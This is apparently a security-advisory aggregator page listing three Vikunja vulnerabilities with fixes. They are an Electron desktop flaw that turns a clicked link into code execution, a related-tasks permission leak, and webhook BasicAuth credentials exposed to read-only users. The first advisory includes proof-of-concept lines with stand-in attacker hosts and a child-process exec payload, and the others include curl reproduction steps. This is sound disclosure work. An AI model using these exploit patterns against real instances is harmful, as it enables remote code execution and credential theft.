1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project). 2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: <a href="https://evil.example/exploit">Click here for the updated design spec</a> 3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: frontend/src/views/project/ProjectInfo.vue uses v-html with DOMPurify-sanitized output. 4. The victim uses Vikunja Desktop and clicks the link. 5. Because no will-navigate handler exists, the BrowserWindow navigates to https://evil.example/exploit in the same renderer process. 6. The attacker's page now executes in a context with nodeIntegration: true and runs: require('childprocess').exec('id > /tmp/pwned'); 7. Arbitrary commands execute as the victim's OS user.

Impact

Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.

Proof of concept

1. Set up a Vikunja instance with two users sharing a project. 2. As the attacker user, edit a project description to include: <a href="https://attacker.example/poc.html">Meeting notes</a> 3. Host poc.html with: <script>require('childprocess').exec('calc.exe')</script> 4. As the victim, open the project in Vikunja Desktop and click the link. 5. calc.exe (or any other command) executes on the victim's machine.

Credits

This vulnerability was found using GitHub Security Lab Taskflows.

First published (updated )
Severity
6.5
EPSS
0.44%
Code Injection, XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables nodeIntegration in the renderer process without contextIsolation or sandbox. This means any cross-site scripting (XSS) vulnerability in the Vikunja web frontend -- present or future -- automatically escalates to full remote code execution on the victim's machine, as injected scripts gain access to Node.js APIs. Version 2.2.0 fixes the issue.

First published (updated )
Severity
6.5
EPSS
0.03%
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

When the Vikunja API returns tasks, it populates the relatedtasks field with full task objects for all related tasks without checking whether the requesting user has read permission on those tasks' projects. An authenticated user who can read a task that has cross-project relations will receive full details (title, description, due dates, priority, percent completion, project ID, etc.) of tasks in projects they have no access to.

Details

The vulnerability is in addRelatedTasksToTasks() at pkg/models/tasks.go:496-548. This function is called by addMoreInfoToTasks() (line 773) during every task read operation — both project task listings (GET /api/v1/projects/{id}/views/{id}/tasks) and single task reads (GET /api/v1/tasks/{id}).

The function fetches all related tasks directly from the database without any permission filtering:

go // pkg/models/tasks.go:496-548 func addRelatedTasksToTasks(s xorm.Session, taskIDs []int64, taskMap map[int64]Task, a web.Auth) (err error) { relatedTasks := []TaskRelation{} err = s.In("taskid", taskIDs).Find(&relatedTasks) // ... fullRelatedTasks := make(map[int64]Task) err = s.In("id", relatedTaskIDs).Find(&fullRelatedTasks) // Line 514: NO permission check // ... for , rt := range relatedTasks { // Directly adds to response without checking if user can read the related task taskMap[rt.TaskID].RelatedTasks[rt.RelationKind] = append( taskMap[rt.TaskID].RelatedTasks[rt.RelationKind], otherTask) } }

The a web.Auth parameter is received but only used for determining favorites (line 519), never for access control on the related tasks themselves.

In contrast, addBucketsToTasks() (line 550+) in the same file correctly filters enrichment data by calling getAllRawProjects(s, a, ...) to scope results to projects the requesting user can access.

While task relation creation properly enforces authorization (taskrelationpermissions.go:32-52 checks write access on the base task and read access on the other task), the relation display path does not re-check permissions for the current reader. This means a privileged user can create a relation that then leaks data to all other users who can read the base task.

PoC

Setup: Two users (User A, User B), two projects (Project-Shared, Project-Private). - User A has access to both projects. - User B has access only to Project-Shared. - Task 1 exists in Project-Shared, Task 2 exists in Project-Private.

Step 1: User A creates a relation between the two tasks

bash As User A (who has access to both projects) curl -X PUT "http://localhost:3456/api/v1/tasks/TASK1ID/relations" \ -H "Authorization: Bearer USERATOKEN" \ -H "Content-Type: application/json" \ -d '{"othertaskid": TASK2ID, "relationkind": "related"}'

Expected: 201 Created (User A has write on Task 1, read on Task 2).

Step 2: User B reads tasks from the shared project

bash As User B (who has NO access to Project-Private) curl "http://localhost:3456/api/v1/projects/PROJECTSHAREDID/views/VIEWID/tasks" \ -H "Authorization: Bearer USERBTOKEN"

Expected: Task 1 should be returned, but relatedtasks should NOT include Task 2.

Actual result: The response includes Task 1 with the relatedtasks field containing the full Task 2 object, including its title, description, duedate, priority, percentdone, projectid, and other metadata — despite User B having no access to Project-Private.

Impact

- Information disclosure: Any authenticated user can read the full metadata of tasks in projects they do not have access to, as long as a relation exists from a task they can read. - Leaked fields include: title, description, due dates, start dates, priority, percent completion, project ID, hex color, task index, done status, repeat configuration, cover image attachment ID, and creation/update timestamps. - Project structure disclosure: The projectid field reveals the existence and IDs of private projects. - No user interaction required: Once a privileged user creates a cross-project relation (which is intentionally allowed), the data leak is automatic for all readers of the base task. - Blast radius: Affects all Vikunja instances with cross-project task relations. In multi-tenant or team environments where projects have different access scopes, this undermines project-level access control.

Recommended Fix

Filter related tasks by the requesting user's read permissions before adding them to the response. In addRelatedTasksToTasks(), after fetching full task objects, check that the user can read each related task's project:

go func addRelatedTasksToTasks(s xorm.Session, taskIDs []int64, taskMap map[int64]Task, a web.Auth) (err error) { relatedTasks := []TaskRelation{} err = s.In("taskid", taskIDs).Find(&relatedTasks) if err != nil { return }

var relatedTaskIDs []int64 for , rt := range relatedTasks { relatedTaskIDs = append(relatedTaskIDs, rt.OtherTaskID) }

if len(relatedTaskIDs) == 0 { return }

fullRelatedTasks := make(map[int64]Task) err = s.In("id", relatedTaskIDs).Find(&fullRelatedTasks) if err != nil { return }

// Filter related tasks by user's read permission allowedProjectIDs := make(map[int64]bool) checkedProjectIDs := make(map[int64]bool) for , t := range fullRelatedTasks { if checkedProjectIDs[t.ProjectID] { continue } checkedProjectIDs[t.ProjectID] = true p := &Project{ID: t.ProjectID} canRead, , err := p.CanRead(s, a) if err != nil { log.Errorf("Could not check project read permission: %v", err) continue } if canRead { allowedProjectIDs[t.ProjectID] = true } }

taskFavorites, err := getFavorites(s, relatedTaskIDs, a, FavoriteKindTask) if err != nil { return err }

for , rt := range relatedTasks { task, has := fullRelatedTasks[rt.OtherTaskID] if !has { continue } // Skip related tasks the user cannot access if !allowedProjectIDs[task.ProjectID] { continue } fullRelatedTasks[rt.OtherTaskID].IsFavorite = taskFavorites[rt.OtherTaskID] otherTask := &Task{} err = copier.Copy(otherTask, fullRelatedTasks[rt.OtherTaskID]) if err != nil { log.Errorf("Could not duplicate task object: %v", err) continue } otherTask.RelatedTasks = nil taskMap[rt.TaskID].RelatedTasks[rt.RelationKind] = append( taskMap[rt.TaskID].RelatedTasks[rt.RelationKind], otherTask) }

return }

This checks project-level read permission once per unique project ID (cached in allowedProjectIDs) and skips related tasks from projects the user cannot access.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.03%
Infoleak
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

The GET /api/v1/projects/:project/webhooks endpoint returns webhook BasicAuth credentials (basicauthuser and basicauthpassword) in plaintext to any user with read access to the project. While the existing code correctly masks the HMAC secret field, the BasicAuth fields added in a later migration were not given the same treatment. This allows read-only collaborators to steal credentials intended for authenticating against external webhook receivers.

Details

When listing project webhooks, the ReadAll method in pkg/models/webhooks.go (line 203) only requires project read access:

go // pkg/models/webhooks.go:203-244 func (w Webhook) ReadAll(s xorm.Session, a web.Auth, string, page int, perPage int) (result interface{}, resultCount int, numberOfTotalItems int64, err error) { p := &Project{ID: w.ProjectID} can, , err := p.CanRead(s, a) // Only requires read permission if err != nil { return nil, 0, 0, err } if !can { return nil, 0, 0, ErrGenericForbidden{} }

// ... fetches webhooks from DB ...

for , webhook := range ws { webhook.Secret = "" // HMAC secret is masked // BasicAuthUser and BasicAuthPassword are NOT masked if createdBy, has := users[webhook.CreatedByID]; has { webhook.CreatedBy = createdBy } }

return ws, len(ws), total, err }

The Webhook struct defines both fields with JSON serialization tags, so they are included in API responses:

go // pkg/models/webhooks.go:63-64 BasicAuthUser string xorm:"null" json:"basicauthuser" BasicAuthPassword string xorm:"null" json:"basicauthpassword"

The BasicAuth fields were added in migration 20260123000717 ("Add basic auth to webhooks"), but the credential masking logic at line 238 was not updated to include these new fields.

The same issue exists in the user webhook listing at pkg/routes/api/v1/userwebhooks.go:65, where Secret is masked but BasicAuth fields are not. This is lower impact since users only see their own webhooks.

PoC

1. As User A (project admin), create a project and a webhook with BasicAuth credentials:

bash Create a webhook with BasicAuth on project 1 curl -X PUT "http://localhost:3456/api/v1/projects/1/webhooks" \ -H "Authorization: Bearer $TOKENA" \ -H "Content-Type: application/json" \ -d '{ "targeturl": "https://external-service.example.com/hook", "events": ["task.created"], "secret": "my-hmac-secret", "basicauthuser": "service-account", "basicauthpassword": "S3cretP@ssw0rd!" }'

2. As User B (read-only collaborator on the same project), list webhooks:

bash curl -s "http://localhost:3456/api/v1/projects/1/webhooks" \ -H "Authorization: Bearer $TOKENB" | jq '.[0] | {secret, basicauthuser, basicauthpassword}'

3. Expected output (secret is masked, but BasicAuth is leaked):

json { "secret": "", "basicauthuser": "service-account", "basicauthpassword": "S3cretP@ssw0rd!" }

Impact

- Credential theft: Any user with read-only access to a project can steal BasicAuth credentials configured on that project's webhooks. These credentials may grant access to external services (CI/CD systems, notification endpoints, third-party APIs). - Lateral movement: Stolen credentials could be reused to authenticate against external systems that the webhook receiver protects. - Broad exposure surface: Credentials are exposed to all project readers, including users granted access through team shares and link shares (with read+ permission level).

Recommended Fix

In pkg/models/webhooks.go, add masking for BasicAuth fields alongside the existing Secret masking (around line 237):

go for , webhook := range ws { webhook.Secret = "" webhook.BasicAuthUser = "" webhook.BasicAuthPassword = "" if createdBy, has := users[webhook.CreatedByID]; has { webhook.CreatedBy = createdBy } }

Apply the same fix in pkg/routes/api/v1/userwebhooks.go (around line 64):

go for , w := range ws { w.Secret = "" w.BasicAuthUser = "" w.BasicAuthPassword = "" if createdBy, has := users[w.CreatedByID]; has { w.CreatedBy = createdBy } }

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203